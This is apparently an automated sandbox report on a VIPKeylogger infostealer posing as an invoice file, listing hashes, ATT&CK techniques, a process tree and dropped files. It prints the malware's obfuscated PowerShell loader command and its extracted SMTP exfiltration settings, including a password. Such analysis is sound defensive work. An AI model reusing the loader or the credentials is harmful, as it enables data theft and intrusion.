vipkeylogger | 4a4bde620f7d6baf02442d09999d40123bfa471e99fcb53d3617132b678bb6cb

Analysis

max time kernel
147s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20250211-en
resource tags

arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
submitted
17/02/2025, 10:00

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General

Target

factura_2404047141_2024-09-17T02_00.exe
Size

686KB
MD5

5a38c30a54b3b6f72907b334a5ce8e1a
SHA1

568a123c1b4b5f8b09aef5603c19ceccb4b54850
SHA256

4a4bde620f7d6baf02442d09999d40123bfa471e99fcb53d3617132b678bb6cb
SHA512

719f1b1c287eceefbd56ab5527fa2ba623941f53ae83364ad247b6b9a6572fe12135584dffee46e9959d544f44904d437c1bf1ca252186409bef41cd9de55b80
SSDEEP

12288:7PCMC15K0rytFYPwzrjfa7LvgdtZ+/qb48R15Skemda90xTM:7CM8V+tuPmzaIdt4Ck8Lgkem1xQ

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
s46S2&4+
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Downloads MZ/PE file 1 IoCs

flow	pid	Process
69	2240	Process not Found

Loads dropped DLL 1 IoCs

pid	Process
1632	factura_2404047141_2024-09-17T02_00.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
26	4664	msiexec.exe
28	4664	msiexec.exe
42	4664	msiexec.exe
44	4664	msiexec.exe
48	4664	msiexec.exe
52	4664	msiexec.exe
54	4664	msiexec.exe
66	4664	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	drive.google.com
26	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
51	checkip.dyndns.org
53	reallyfreegeoip.org
54	reallyfreegeoip.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4664	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3504	powershell.exe
4664	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3504	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	factura_2404047141_2024-09-17T02_00.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4744	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
4664	msiexec.exe
4664	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3504	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeIncreaseQuotaPrivilege	3504	powershell.exe
Token: SeSecurityPrivilege	3504	powershell.exe
Token: SeTakeOwnershipPrivilege	3504	powershell.exe
Token: SeLoadDriverPrivilege	3504	powershell.exe
Token: SeSystemProfilePrivilege	3504	powershell.exe
Token: SeSystemtimePrivilege	3504	powershell.exe
Token: SeProfSingleProcessPrivilege	3504	powershell.exe
Token: SeIncBasePriorityPrivilege	3504	powershell.exe
Token: SeCreatePagefilePrivilege	3504	powershell.exe
Token: SeBackupPrivilege	3504	powershell.exe
Token: SeRestorePrivilege	3504	powershell.exe
Token: SeShutdownPrivilege	3504	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeSystemEnvironmentPrivilege	3504	powershell.exe
Token: SeRemoteShutdownPrivilege	3504	powershell.exe
Token: SeUndockPrivilege	3504	powershell.exe
Token: SeManageVolumePrivilege	3504	powershell.exe
Token: 33	3504	powershell.exe
Token: 34	3504	powershell.exe
Token: 35	3504	powershell.exe
Token: 36	3504	powershell.exe
Token: SeDebugPrivilege	4664	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 3504	1632	factura_2404047141_2024-09-17T02_00.exe	89
PID 1632 wrote to memory of 3504	1632	factura_2404047141_2024-09-17T02_00.exe	89
PID 1632 wrote to memory of 3504	1632	factura_2404047141_2024-09-17T02_00.exe	89
PID 3504 wrote to memory of 4664	3504	powershell.exe	100
PID 3504 wrote to memory of 4664	3504	powershell.exe	100
PID 3504 wrote to memory of 4664	3504	powershell.exe	100
PID 3504 wrote to memory of 4664	3504	powershell.exe	100

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\factura_2404047141_2024-09-17T02_00.exe
"C:\Users\Admin\AppData\Local\Temp\factura_2404047141_2024-09-17T02_00.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Smergelpulveret=gc -Raw 'C:\Users\Admin\AppData\Local\Matens\Sexifid126\Sightfulness.Att';$Ationsprogrammet=$Smergelpulveret.SubString(52797,3);.$Ationsprogrammet($Smergelpulveret)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4664

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NzBCOUZGMkItRDQ3Qy00ODdGLTlEMTYtNjQ0RjlDMkQyNEY0fSIgdXNlcmlkPSJ7NTkyRDE1NTQtQjQwNi00MzJBLUE1QjgtQ0QyOEIxMjZBNUI1fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NEMwN0M5OEEtNENDMS00QUZELUEyMUUtMTBFMkRFNzZEMzBBfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI1IiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODMyMzYiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1NDI1MTE0ODAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1NDk2ODk0MjQzIi8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:4744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Matens\Sexifid126\Linjetllere.Aff

Filesize
337KB

MD5
c4e23e375e6d4f75a03bb4965d6cc3b3

SHA1
475a3fa124557dc3163917305308c06450ad7e59

SHA256
85a6aa4893d3267f7da12b7741a76cc82e98f91e7a34d518c74f41897a912638

SHA512
c42ac641ab0b16a2c717ef7d09034d72a57eb7299e9ebb85e42482528a103c4a377c0ab9ae8a2fcd5e8ad1d2fd1e2897afaf270cafd85531b481bb49d032ade3

Download Submit
C:\Users\Admin\AppData\Local\Matens\Sexifid126\Sightfulness.Att

Filesize
51KB

MD5
56df3fc2932793899317cfeb62d64449

SHA1
f9b092b5a1b1a127390596c69c45025c920958fc

SHA256
1ba02a55786e074d96e3fc4c252b9ec86d6c50b76121692680fde2b15881d4f2

SHA512
834b1bba8777a8b766e3214861ac9fc4850edb76ff9d225e01d79656dd373c206a2782ff4853ccb0c13e4271ac00733de2c46ed23e470007b3e480e8ed04cb3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bqe55s10.cbt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsu1161.tmp\nsExec.dll

Filesize
6KB

MD5
b5a1f9dc73e2944a388a61411bdd8c70

SHA1
dc9b20df3f3810c2e81a0c54dea385704ba8bef7

SHA256
288100583f65a2b7acfc0c7e231c0e268c58d3067675543f627c01e82f6fd884

SHA512
b9c8d71b5da00f2aff7847b9ec3bd8a588afeb525f47a0df235b52f7b2233edb3928a2c8e0b493f287c923cc52a340ad6fee99822595d6591df0e97870de92a8

Download Submit
memory/3504-21-0x0000000073A4E000-0x0000000073A4F000-memory.dmp

Filesize
4KB

Download
memory/3504-22-0x0000000005170000-0x00000000051A6000-memory.dmp

Filesize
216KB

Download
memory/3504-24-0x00000000057E0000-0x0000000005E08000-memory.dmp

Filesize
6.2MB

Download
memory/3504-23-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-25-0x0000000005660000-0x0000000005682000-memory.dmp

Filesize
136KB

Download
memory/3504-26-0x0000000005E80000-0x0000000005EE6000-memory.dmp

Filesize
408KB

Download
memory/3504-27-0x0000000005EF0000-0x0000000005F56000-memory.dmp

Filesize
408KB

Download
memory/3504-37-0x0000000006120000-0x0000000006474000-memory.dmp

Filesize
3.3MB

Download
memory/3504-39-0x0000000006780000-0x00000000067CC000-memory.dmp

Filesize
304KB

Download
memory/3504-38-0x0000000006750000-0x000000000676E000-memory.dmp

Filesize
120KB

Download
memory/3504-40-0x00000000079F0000-0x0000000007A86000-memory.dmp

Filesize
600KB

Download
memory/3504-41-0x0000000006C30000-0x0000000006C4A000-memory.dmp

Filesize
104KB

Download
memory/3504-42-0x0000000006CA0000-0x0000000006CC2000-memory.dmp

Filesize
136KB

Download
memory/3504-43-0x0000000008040000-0x00000000085E4000-memory.dmp

Filesize
5.6MB

Download
memory/3504-45-0x0000000008C70000-0x00000000092EA000-memory.dmp

Filesize
6.5MB

Download
memory/3504-47-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-59-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-58-0x0000000007B90000-0x0000000007BAE000-memory.dmp

Filesize
120KB

Download
memory/3504-48-0x000000006FF00000-0x000000006FF4C000-memory.dmp

Filesize
304KB

Download
memory/3504-46-0x0000000007B50000-0x0000000007B82000-memory.dmp

Filesize
200KB

Download
memory/3504-60-0x0000000007BC0000-0x0000000007C63000-memory.dmp

Filesize
652KB

Download
memory/3504-61-0x0000000007CC0000-0x0000000007CCA000-memory.dmp

Filesize
40KB

Download
memory/3504-62-0x0000000007E20000-0x0000000007E31000-memory.dmp

Filesize
68KB

Download
memory/3504-63-0x0000000007E70000-0x0000000007E7E000-memory.dmp

Filesize
56KB

Download
memory/3504-64-0x0000000007E80000-0x0000000007E94000-memory.dmp

Filesize
80KB

Download
memory/3504-65-0x0000000007EC0000-0x0000000007EDA000-memory.dmp

Filesize
104KB

Download
memory/3504-66-0x0000000007EB0000-0x0000000007EB8000-memory.dmp

Filesize
32KB

Download
memory/3504-67-0x0000000007EC0000-0x0000000007EEA000-memory.dmp

Filesize
168KB

Download
memory/3504-68-0x0000000007F10000-0x0000000007F34000-memory.dmp

Filesize
144KB

Download
memory/3504-69-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-72-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-71-0x0000000073A4E000-0x0000000073A4F000-memory.dmp

Filesize
4KB

Download
memory/3504-73-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-75-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-76-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-77-0x00000000092F0000-0x000000000D2A8000-memory.dmp

Filesize
63.7MB

Download
memory/3504-78-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-79-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-81-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-82-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-83-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4664-84-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/4664-98-0x00000000004B0000-0x00000000004F8000-memory.dmp

Filesize
288KB

Download
memory/4664-97-0x00000000004B0000-0x0000000001704000-memory.dmp

Filesize
18.3MB

Download
memory/4664-99-0x00000000236B0000-0x000000002374C000-memory.dmp

Filesize
624KB

Download
memory/4664-103-0x0000000024170000-0x0000000024332000-memory.dmp

Filesize
1.8MB

Download
memory/4664-104-0x00000000239B0000-0x0000000023A00000-memory.dmp

Filesize
320KB

Download
memory/4664-105-0x0000000023AD0000-0x0000000023B62000-memory.dmp

Filesize
584KB

Download
memory/4664-106-0x0000000023A80000-0x0000000023A8A000-memory.dmp

Filesize
40KB

Download